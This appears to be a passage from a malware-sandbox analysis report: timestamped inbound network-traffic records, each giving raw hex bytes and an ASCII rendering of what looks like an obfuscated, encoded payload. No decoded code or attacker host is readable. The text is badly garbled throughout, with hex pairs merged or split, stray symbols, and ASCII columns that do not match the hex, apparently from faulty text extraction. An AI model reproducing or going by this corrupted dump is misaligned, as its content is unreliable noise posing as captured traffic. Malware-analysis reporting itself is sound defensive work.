qOO0 gqgm ME qOJ qqD qOq qOO O qOp qOq qqb MW EJ ME qgqW DM qJO qOW gqD qOq qOO O qqO qqqg qqO qOW
qqO q0OJ qOq qqW qgD qOgq qOO O DD ME MM qOE qOJ qOW qqD qgD gqOg qOO O X

2021-10-29 18:29:04 UTC 527 IN Data Raw: 71 20 4d 4d 20 71 71 44 20 71 457 20 71 71 71 20 71 71 4f 20 4f 20 45 71 20 71 4f 71 20 71 71 44 20 45 71
2071 4f 712071 71 4f 20 71 4f 71 20 71 71 6d 20 71 4f 57 20 4d 4d 20 58 6d 20 71 4a 71 20 71 71 4a 20 71 4f 71 20 44
5820 71 4f 71 20 71 4f 4a 20 71 4f 57 20 71 71 4f 20 71 4f 57 20 71 71 44 20 71 4f 57 20 71 71 71 20 71 71 4f 20 4f 20 44
45 20 4d 45 20 71 4f 58 20 71 4f 58 20 71 4f 57 20 71 71 4f 20 71 4f 70 20 44 45 20 71 71 71 20 71 71 4f 20 71 71 58 20
714f71 207171 4f20 7171 44 20 71 4f57 20 71 71 71 20 71 71 4f 20 4f 20 58 70 20 71 4f 71 20 4d 45 20 71 71 6d 20
4d 4d 20 71 4f 6d 20 45 4d 20 71 71 4a 20 71 71 44 20 71 4f 57 20 71 71 71 20 71 71 4f 20 4f 20 44 58 20 71 71 6d 20 71
4f 57 20 71 71 58 20 71 4f 71 20 45 58 20 71 71 71 20
Data Ascii: ¢ MM ggD qOW qqqg qgqO O Eq qOq qqD Eq qOg gqO qOg ggm gOW MM Xm gJg qqJ qOg DX qOg qOJ qOW
490 qOW qgb qOW qqg qqO O DE ME qOX qOX qOW qqO qOp DE qqq qqO qgX qOq qqO qgqb qOW qqq qqO O Xp qO
q ME ggm MM qOm EM qqJ qgD qOW gqq qqO O DX qgm qOW qgX qOq EX qqq

2021-10-29 18:29:04 UTC 543 IN Data Raw: 20 4d 45 20 71 71 4f 20 71 71 44 20 71 71 57 20 4f 20 71 4f 44 20 71 71 45 20 71 71 6d 20 4d 45 20 71 71 4f
20717144 20717157 204f20457020 71 71 4207171442071 4f7120 7171 6d 20 71 71 4f 20 4d 45 20 71 4f 58
20 6d 44 20 58 4a 20 71 71 45 20 71 71 4f 20 71 71 44 20 71 4f 57 20 71 4f 4d 20 71 4f 71 20 6d 44 20 44 57 20 71 71 45
2071 4f 70 20 71 4f 4d 20 71 4f 71 20 71 71 4f 20 71 71 44 20 71 71 57 20 4f 20 44 4d 20 71 71 4f 20 4d 4d 20 71 71 éd
207171 71 20 4d 45 20 4d 4d 20 71 4f 6d 20 71 4f 4d 20 71 4f 71 20 71 71 4f 20 71 71 44 20 71 71 57 20 4f 20 71 71 57
2071 4f 7120 71 71 44 20 4d 57 20 44 57 20 71 71 6d 20 71 4f 70 20 71 71 45 20 71 4f 4d 20 71 4f 7120 71 71 4f 20 71
714420717157 204f20457120714f71207171 44
Data Ascii: ME qqO qgD qqW O qOD qqE qgm ME qqO qgD qgqW O Ep qqO qgD qOq qgm qgqO ME qOX mD XJ qqE q
g0 qgb qOW qOM qOg mD DW qgE qOp qOM qOq qqO qgD qgW O DM gqO MM ggm ggq ME MM qOm qOM gOq qqO
qqD qgW O qgW qOq qqD MW DW ggm qOp qqE qOM qOq qqO qgD qqW O Eq qOq qqD

2021-10-29 18:29:04 UTC 559 IN Data Raw: 44 58 20 4f 20 45 4a 20 4f 20 58 57 20 4f 20 4d 4f 20 4f 20 71 4f 44 20 4f 20 58 4d 20 4f 20 58 4d 20 4f 20 6d
70 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 57
4f 20 4f 20 44 4d 20 4f 20 45 4d 20 4f 20 71 4f 6d 20 4f 20 71 71 6d 20 4f 20 58 4f 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 58 45 20 4f 20 58 44 20 4f 20 71 4f 45 20 4f 20 71 4a 4a 20 4f 20 71 71 4d 20 4f 20 44 4d 20 4f 20 44 58
20 4f 20 71 71 4a 20 4f 20 57 4a 20 4f 20 71 4f 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 4d
45 20 4f 20 44 58 20 4f 20 58 4f 20 4f 20 58 6d 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 58 20 4f 20
Data Ascii: DX O EJ O XW O MO O qOD O XM O XM O mp O DW O qOp O DW O DW O XW O XO O WE O WO O DM
O EM O gqOm O ggm O XO O qOp O DW O DW O XE O XD O qOE O gJJ O qgqM O DM O DX O qgqJ O WJ O qOp O DM
O DW O DW O EqOMEODXO XO O XmODXOmEO XqODW O DW O DW O DXO

2021-10-29 18:29:04 UTC 575 IN Data Raw: 20 4f 20 45 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 4d 45 20 4f 20 45 44 20 4f 20 57 44 20 4f
20 45 70 20 4f 20 45 4a 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 45 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
45 4d 20 4f 20 71 4f 57 20 4f 20 58 57 20 4f 20 45 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 58 20 4f
20 71 71 57 20 4f 20 45 58 20 4f 20 58 44 20 4f 20 71 4f 57 20 4f 20 6d 70 20 4f 20 71 4a 71 20 4f 20 44 44 20 4f 20 57 57
20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 6d 20 4f 20 58 44 20
4f 20 71 4f 58 20 4f 20 4d 4d 20 4f 20 71 4a 4a 20 4f 20 57 45 20 4f 20 71 4f 4d 20 4f 20 71 4f 44 20 4f 20 6d 70 20 4f 20
44,57 20 4f 20 58 71 20 4f 20 44 57 20
Data Ascii: O Ep O DM O DW O EO O ME O ED O WD O Ep O EJ O Eq O WJ O EO O Xq O DW O DW O EM O qOW
O XW O EM O ggM O DW O DW O XX O qgW O EX O XD O gOW O mp O qJq O DD O WW O DW O Xq O DE O DW O
DW O DD O Xm O XD O gOX O MM O ¢JJ O WE O gOM O qOD O mp O DW O Xg O DW

2021-10-29 18:29:04 UTC 591 IN Data Raw: 71 4f 57 20 4f 20 6d 4d 20 4f 20 71 4f 44 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 57 20 4f
20 57 71 20 4f 20 58 57 20 4f 20 45 45 20 4f 20 71 4f 70 20 4f 20 57 44 20 4f 20 58 71 20 4f 20 45 45 20 4f 20 58 44 20 4f
20 71 71 6d 20 4f 20 71 4f 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 44
20 4f 20 4d 58 20 4f 20 57 71 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 4d 4f
20 4f 20 71 71 71 20 4f 20 71 4f 4d 20 4f 20 71 4f 4f 20 4f 20 71 4a 71 20 4f 20 45 44 20 4f 20 71 4f 44 20 4f 20 6d 70 20 4
20 6d 45 20 4f 20 57 44 20 4f 20 71 4f 71 20 4f 20 45 4f 20 4f 20 58 71 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f
20 6d 45 20 4f 20 6d 58 20 4f 20
Data Ascii: gOW O mM O qOD O qOp O DW O DW O gOW O Wg O XW O EE O qOp O WD O Xg O EE O XD O qgm O
qOp O DM O DW O Xg O DW O DW O qOD O MX O Wg O qgM O mE O XO O mE O mE O MO O gqq O gOM O qOO O
qJgq O ED O qOD O mp O mE O WD O qOg O EO O Xg O XO O mE O mE O mE O mX O
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:04 UTC 607 IN Data Raw: 20 58 4a 20 4f 20 71 4f 71 20 4f 20 71 4f 57 20 4f 20 45 58 20 4f 20 71 4f 71 20 4f 20 44 44 20 4f 20 58 71 20 4f
20 57 57 20 4f 20 71 4f 4a 20 4f 20 71 4f 4a 20 4f 20 71 4a 4f 20 4f 20 57 45 20 4f 20 45 70 20 4f 20 71 71 71 20 4f 20 6d
4d 20 4f 20 57 6d 20 4f 20 45 4f 20 4f 20 44 58 20 4f 20 71 71 44 20 4f 20 57 45 20 4f 20 6d 70 20 4f 20 45 4a 20 4f 20 6d
58 20 4f 20 4d 45 20 4f 20 71 4f 70 20 4f 20 57 71 20 4f 20 71 71 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20
58 71 20 4f 20 58 57 20 4f 20 4d 45 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44
44 20 4f 20 58 4a 20 4f 20 58 44 20 4f 20 71 4f 58 20 4f 20 45 6d 20 4f 20 58 71 20 4f 20 4d 45 20 4f 20 71 4f 70 20 4f 20 4
458 20 4f 20 6d 45 20 4f 20 4d 4d
Data Ascii: XJ O gOg O qOW O EX O qOq O DD O Xq O WW O gOJ O gOJ O gJO O WE O Ep O qgg © mM O Wm O
EO O DX O qgb O WE O mp O EJ O mX O ME O qOp O Wg O qgW O MM O DW O EJ O Xq O XW O ME O DW O Xq
O DE O DW O DW O DD O XJ O XD O gOX O Em O Xg O ME O qOp O DX O mE O MM

2021-10-29 18:29:04 UTC 623 IN Data Raw: 4f 20 71 4f 44 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 71 4f 4a 20 4f 20 58 58
20 4f 20 71 4f 58 20 4f 20 71 71 58 20 4f 20 45 6d 20 4f 20 71 71 4d 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20 44 57 20 4f
20 58 44 20 4f 20 58 4d 20 4f 20 71 71 58 20 4f 20 71 71 57 20 4f 20 71 4f 70 20 4f 20 71 4f 71 20 4f 20 71 71 4d 20 4f 20
58 4d 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 4a 4a 20 4f 20 58 4f 20 4f 20
4d 58 20 4f 20 58 44 20 4f 20 57 4a 20 4f 20 57 4f 20 4f 20 45 4f 20 4f 20 57 6d 20 4f 20 58 4f 20 4f 20 71 4f 4a 20 4f 20
6d 45 20 4f 20 6d 45 20 4f 20 57 4a 20 4f 20 57 4f 20 4f 20 6d 70 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 58 4d 20 4f 20
44 57 20 4f 20 44 57 20 4f 20 45 4f 20
Data Ascii: O gOD O gJJ O mE O mE O WE O gOJ O XX O gOX O ggX O Em O qgM O qOp O Xq O DW O XD O XM O
ggX O qqW O qOp O gOg O ggM O XM O DE O DW O DW O DW O XW O gJJ O XO O MX O XD O WJ O WO O EO O
Wm O XO O g0J O mE O mE O WJ O WO O mp O qOp O DD O XM O DW O DW O EO

2021-10-29 18:29:04 UTC 639 IN Data Raw: 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 4f 57 20 4f 20 71 4a 4a 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d
45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 4d 58 20 4f 20 71 4f 45 20 4f 20 58 45 20 4f 20 71 4f 70 20 4f 20
44 57 20 4f 20 44 57 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 4d 4f 20 4f 20 71 71 71 20 4f 20 6d 70 20 4f 20 71 4f 70 20
4120 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 4f 57 20 4f 20 71 4f 6d 20 4f 20 57 6d 20 4f 20 6d 45
20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 45 45 20 4f 20 57 44 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 71 71 58 20 4f 20 71 4f
58 20 4f 20 71 4a 4f 20 4f 20 71 71 6d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 58 20 4f 20 58 4f 20 4f 20
71 71 4d 20 4f 20 44 4d 20 4f 20 58 4f
Data Ascii: W O DW O EM O gOW O ¢JJ O Wm O mE O mE O mE O mE O WW O MX O ¢OE O XE O qOp O DW O DW
0 gOW O WD O MO O ggg O mp O gOp O EE O DW O DW O EM O gOW O gOm O Wm O mE O mE O mE O EE O
WD O DE O EX O qgX O gOX O gJO O ggm O DW O DW O DE O DX O XO O qgM O DM O XO

2021-10-29 18:29:04 UTC 655 IN Data Raw: 45 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 44 20 4f 20 58 4d 20 4f 20 58
57 20 4f 20 44 57 20 4f 20 6d 70 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 57 20 4f 20 45 4f 20 4f 20 71 4f 41
20 4f 20 71 71 71 20 4f 20 45 45 20 4f 20 45 45 20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 57 4f
20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 4f 20 4f 20 71 4f 70 2C
4f 20 44 57 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 45 4d 20 4f 20 71 4f 44 20
4f 20 58 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 57 44 20 4f 20 58 71 20
4f 20 58 4d 20 4f 20 4d 45 20 4f
Data Ascii: EE O mE O mE O mE O mE O qOD O XM O XW O DW O mp O XO O mE O mE O XW O EO O qOO O qqq
O EE O EEOmM O DW O DW O Ep O WO O EO O DW O XO O DX O mE O mE O WO O qOp O DW O DD O DW O
DW O DW O XW O EM O qOD O XW O ME O Xq O DW O DW O qOp O WD O Xq O XM O ME O

2021-10-29 18:29:04 UTC 671 IN Data Raw: 6d 4d 20 4f 20 44 58 20 4f 20 71 71 71 20 4f 20 71 71 58 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 44 4d 20 4f 20 44 58 20 4f 20 45 70 20 4f 20 71 71 58 20 4f 20 45 4a 20 4f
20 58 58 20 4f 20 71 71 57 20 4f 20 45 58 20 4f 20 58 44 20 4f 20 71 4f 57 20 4f 20 6d 70 20 4f 20 71 4a 71 20 4f 20 45 44
20 4f 20 58 4a 20 4f 20 58 4a 20 4f 20 44 45 20 4f 20 44 58 20 4f 20 57 57 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 58 45
20 4f 20 45 45 20 4f 20 6d 45 20 4f 20 58 4d 20 4f 20 57 70 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 71 4a 4f 20 4f 20 71 4
4d 20 4f 20 71 4f 57 20 4f 20 58 6d 20 4f 20 44 44 20 4f 20 57 4f 20 4f 20 4d 4d 20 4f 20 45 4f 20 4f 20 45 58 20 4f 20 58 5
8 20 4f 20 45 45 20 4f 20 6d 45 20
Data Ascii: mM O DX O ggq O qgX O qOM O DW O DW O DW O Ep O XO O DM O DX O Ep O qgX O EJ O XX O qqW
O EXO XD O qOW O mp O qJg O ED O XJO XJO DEODXOWW O DD O gOm O XE OEEOmEOXMO WpO
gqO0 O Xq 0 qJO O gOM O gOW O Xm O DD O WO O MM O EO O EX O XX O EE O mE

2021-10-29 18:29:04 UTC 687 IN Data Raw: 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 6d 58 20 4f 20 71 4f 44 20 4f 20 58 57 20 4f 20 58 58 20 4f 20 6d 58 20
47 20 58 57 20 4f 20 45 71 20 4f 20 71 71 71 20 4f 20 44 45 20 4f 20 58 44 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 58 44 20
4120 44 57 20 4f 20 45 45 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 58 58 20 4f 20 44 57 20 4f
20 71 4f 4f 20 4f 20 44 57 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 71 4f 4a 20 4f 20 58 4a 20 4f 20 44 58
20 4f 20 6d 45 20 4f 20 71 4a 4f 20 4f 20 58 45 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44
57 20 4f 20 58 44 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 58 44 20 4f 20 71 41 58 20 4f 20 45 45 20 4f 20 44 44 20 4f 20 44
57 20 4f 20 44 57 20 4f 20 45 70 20
Data Ascii: O XD O Wgq O mX O gOD O XW O XX O mX O XW O Eq O qqq O DE O XD O mE O WD O XD O DW O EE
O DD O DW O DW O Ep O XX O DW O gOO O DW O gqm O mE O gOO O qOJ O XJ O DX O mE O qJO O XE O XW O
ggM O DM O DW O DW O XD O mE O WD O XD O qOX O EE O DD O DW O DW O Ep

2021-10-29 18:29:04 UTC 703 IN Data Raw: 58 20 4f 20 57 45 20 4f 20 6d 4d 20 4f 20 44 45 20 4f 20 58 4f 20 4f 20 57 44 20 4f 20 58 44 20 4f 20 58 71 20
4f 20 45 45 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 58 58 20 4f 20 44 57 20 4f 20 71 4f 4a 20
4f 20 71 4f 70 20 4f 20 6d 70 20 4f 20 45 58 20 4f 20 71 4f 6d 20 4f 20 71 4f 4a 20 4f 20 71 4a 4a 20 4f 20 71 4f 4a 20 4f 20
6d 45 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 71 20 4f 20 58 44 20 4f 20 71 71 45 20 4f 20 71 4f 57 20 4f 20 4d 58 20 4f
20 6d 45 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 45 20 4f 20 58 44 20 4f 20 71 4f 58 20 4f 20 45 71 20 4f
20 71 4f 70 20 4f 20 71 4f 4a 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 71 4f 4f 20 4f 20 71 71 57
Data Ascii: X O WE O mM O DE O XO O WD O XD O Xq O EE O Em O DW O DW O Ep O XX O DW O qOJ O qOp O
mp O EX O gOm O qOJ O gJJ O qOJ O mE O mE O WE O Xq O XD O gqqE O qOW O MX O mE O XO O mE O mE O
XE O XD O qOX O Eq O qOp O gOJ O WW O mE O mE O qgM O DW O DW O qOO O qqW

2021-10-29 18:29:04 UTC 719 IN Data Raw: 20 4f 20 44 57 20 4f 20 57 4a 20 4f 20 71 71 44 20 4f 20 6d 70 20 4f 20 58 70 20 4f 20 58 4f 20 4f 20 6d 70 20
4f 20 57 4f 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 4f 6d
20 4f 20 6d 70 20 4f 20 71 4a 4f 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 4f 20 4f 20 71
4 70 20 4f 20 44 57 20 4f 20 58 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20
7171 44 20 4f 20 71 71 70 20 4f 20 45 6d 20 4f 20 45 70 20 4f 20 45 4a 20 4f 20 71 4f 6d 20 4f 20 6d 45 20 4f 20 71 71 4d
20 4f 20 57 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 45 4f 20 4f 20 58 71 20 4f 20 57 6d 20 4f 20 45 4a 20
4f 20 71 71 58 20 4f 20 45 71 20 4f 20
Data Ascii: O DW O WJ O qgD O mp O Xp O XO O mp O WO O gqgqq O DW O Ep O DW O DW O EM O qOm O mp O gqJ
O 0 qggX O mE O mE O XD O WO O gOp O DW O XE O DW O bW O DW O qOW O WD O qqD O qgp O Em O Ep O EJ
O qOm O mE O qgM O WD O DW O DW O EO O EO O Xq O Wm O EJ O qgqX O Eq O
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:04 UTC 735 IN Data Raw: 4f 20 57 44 20 4f 20 4d 58 20 4f 20 71 71 71 20 4f 20 71 4f 44 20 4f 20 71 71 58 20 4f 20 57 71 20 4f 20 6d 45
20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 57 45 20 4f 20 4d 58 20 4f 20 71 4a 71 20 4f 20 4d 4d 20 4f 20 45 70 20 4f 20 45 70
20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 58 45 20 4f 20 45 44 20 4f 20 57 57 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 71 71 57
20 4f 20 45 57 20 4f 20 45 4f 20 4f 20 4d 4d 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 71 4a 4a 20 4f 20 71 4f 58 20 4f 20
6d 70 20 4f 20 45 44 20 4f 20 45 4a 20 4f 20 57 70 20 4f 20 4d 4d 20 4f 20 58 57 20 4f 20 57 4a 20 4f 20 71 71 44 20 4f 20
45 71 20 4f 20 45 45 20 4f 20 45 70 20 4f 20 71 71 57 20 4f 20 4d 4d 20 4f 20 71 71 45 20 4f 20 45 70 20 4f 20 71 71 44 2C
4f 20 45 4d 20 4f 20 58 71 20 4f 20 45
Data Ascii: O WD O MX O gqg O qOD O gqgX O Wg O mE O mE O mM O WE O MX O gJg O MM O Ep O Ep O DW O
EO O XE O ED O WW O Ep O XO O qqgW O EW O EO O MM O qJJ O mE O qJJ O qOX O mp O ED O EJ O Wp O MM
OXWOWJOqgD OEqOEEOEpOqqW O MM O qqE OEp O qgD O EM O Xq O E

2021-10-29 18:29:04 UTC 751 IN Data Raw: 4d 20 4f 20 57 4a 20 4f 20 71 71 57 20 4f 20 44 44 20 4f 20 6d 45 20 4f 20 57 4f 20 4f 20 44 57 20 4f 20 71 4f
70 20 4f 20 45 45 20 4f 20 57 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20
44,57 20 4f 20 45 45 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 57 70 20 4f 20 58 4a 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 44
4d 20 4f 20 44 58 20 4f 20 57 70 20 4f 20 58 6d 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20
44,57 20 4f 20 58 44 20 4f 20 58 4d 20 4f 20 71 71 58 20 4f 20 71 71 57 20 4f 20 58 57 20 4f 20 58 4d 20 4f 20 45 58 20 4f
20 71 4f 58 20 4f 20 6d 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 6d 20 4f 20 58 44 20 4f 20 71 4f 58 20 4f 20 71 4f 71
20 4f 20 45 44 20 4f 20 6d 70 20 4f 20
Data Ascii: M O WJ O qgW O DD O mE O WO O DW O qOp O EE O WD O DD O DW O ggM O qOp O Xq O DW O EE O
WD O DW O Wp O XJ O DE O Xg O DM O DX O Wp O Xm O DW O qgM O qOp O Xg O DW O XD O XM O qgX O qqW.
O XW O XM O EX O gOX O mE O DW O DD O Xm O XD O gOX O qOq O ED O mp O

2021-10-29 18:29:04 UTC 767 IN Data Raw: 20 71 4f 57 20 4f 20 4d 4f 20 4f 20 71 71 4d 20 4f 20 71 4f 45 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 70 20
4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 57 4f 20 4f 20 44 4d 20 4f 20 45 6d 20 4f 20 45 70 20 4f 20 44 57 20 4f
20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 71 71 71 20 4f 20 58 58 20 4f 20 58 6d 20 4f
20 57 6d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 44 20 4f 20 45 4f 20 4f 20 58 57 20 4f 20
44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 58 20 4f 20 71 71 71 20 4f 20 45 44 20 4f 20 58 70 20 4f 20 71 71 71 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 4f 58 20 4f 20 4d 4f 20 4f 20 58 57 20 4f 20 6d 70 20 4f 20 71 4f 70 20 4f
20 45 70 20 4f 20 71 71 4a 20 4f
Data Ascii: gOW O MO O gqgM O qOE O qOp O DW O Ep O DW O DW O Ep O WO O DM O Em O Ep O DW O DE O
DW O DW O DD O Xq O ggg O XX O Xm O Wm O Xq O DW O DW O EO O DD O EO O XW O DW O DW O EO O DX O
qqgq O ED O Xp O gqqqg O DW O DW O EO O qOX O MO O XW O mp O qOp O Ep O qqJ O

2021-10-29 18:29:04 UTC 783 IN Data Raw: 20 71 4f 6d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 57 45 20 4f 20 4d 45 20 4f 20
58 4f 20 4f 20 58 6d 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 58 20 4f 20 6d 45 20 4f 20 57
45 20 4f 20 4d 45 20 4f 20 45 4f 20 4f 20 71 71 4d 20 4f 20 45 57 20 4f 20 45 45 20 4f 20 71 71 4d 20 4f 20 6d 70 20 4f 20
44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 45 20 4f 20 71 4a 4f 20 4f 20 71 71 71 20 4f 20 44 44 20
4f 20 45 58 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 6d 4d
20 4f 20 71 71 71 20 4f 20 58 58 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 57 44 20 4f 20 58 6d 20 4f 20 6d 4d 20 4f 20 58
71 20 4f 20 44 57 20 4f 20 44 44 20 4f
Data Ascii: gOm O DW O DW O EJ O Xg O WE O ME O XO O Xm O XM O Xq O DW O DD O XX O mE O WE O ME O
EO O qqM O EW O EE O qgM O mp O DM O DW O DW O gOO O DE O ¢JO O ggq O DD O EX O gOX O DW O DW O
EO 0 g0J O mE O mM O ggg O XX O DW O gqgqgq O WD O Xm O mM O Xq O DW O DD O

2021-10-29 18:29:04 UTC 799 IN Data Raw: 45 20 4f 20 58 4f 20 4f 20 71 4a 4a 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 71
20 4f 20 6d 45 20 4f 20 71 4a 4f 20 4f 20 58 58 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44
57 20 4f 20 71 4f 57 20 4f 20 58 57 20 4f 20 58 4d 20 4f 20 44 4d 20 4f 20 71 4f 57 20 4f 20 57 71 20 4f 20 58 4d 20 4f 20
44 4d 20 4f 20 71 4f 6d 20 4f 20 71 4f 4a 20 4f 20 4d 4f 20 4f 20 6d 58 20 4f 20 45 4f 20 4f 20 71 4f 4a 20 4f 20 57 45 20 4f
20 6d 4d 20 4f 20 44 4d 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 6d 4d 20 4f 20 44 58 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20
6d 4d 20 4f 20 45 71 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 6d 4d 20 4f 20 45 4f 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 6d 4
d 20 4f 20 44 45 20 4f 20 45 71 20
Data Ascii: E O XO O qJJ O MO O Xg O DW O DD O Xq O mE O gJO O XX O XW O ggM O DM O DW O DW O qOW O
XW O XM O DM O qOW O Wg O XM O DM O gOm O gOJ O MO O mX O EO O gOJ O WE O mM O DM O XO O WE O
mM O DX O XO O WE O mM O Eq O XO O WE O mM O EO O XO O WE O mM O DE O Eq

2021-10-29 18:29:04 UTC 815 IN Data Raw: 4f 20 71 71 6d 20 4f 20 57 45 20 4f 20 57 4a 20 4f 20 58 4f 20 4f 20 71 71 6d 20 4f 20 57 45 20 4f 20 57 45 20
4f 20 71 71 6d 20 4f 20 57 4f 20 4f 20 71 4a 4f 20 4f 20 44 4d 20 4f 20 44 58 20 4f 20 6d 58 20 4f 20 58 6d 20 4f 20 58 4f
20 4f 20 4d 45 20 4f 20 58 4a 20 4f 20 71 4f 44 20 4f 20 71 71 44 20 4f 20 6d 4d 20 4f 20 44 45 20 4f 20 45 70 20 4f 20 71
71 58 20 4f 20 45 44 20 4f 20 4d 4d 20 4f 20 71 71 45 20 4f 20 4d 4f 20 4f 20 4d 58 20 4f 20 71 71 71 20 4f 20 58 58 20 4f
20 44 58 20 4f 20 57 6d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 71 4d 20 4f 20 58 6d 20 4f
20 58 4f 20 4f 20 45 4a 20 4f 20 71 71 71 20 4f 20 57 71 20 4f 20 44 58 20 4f 20 57 6d 20 4f 20 58 71 20 4f 20 44 57 20 4f
20 44 44 20 4f 20 71 4f 4a 20 4f 20 45
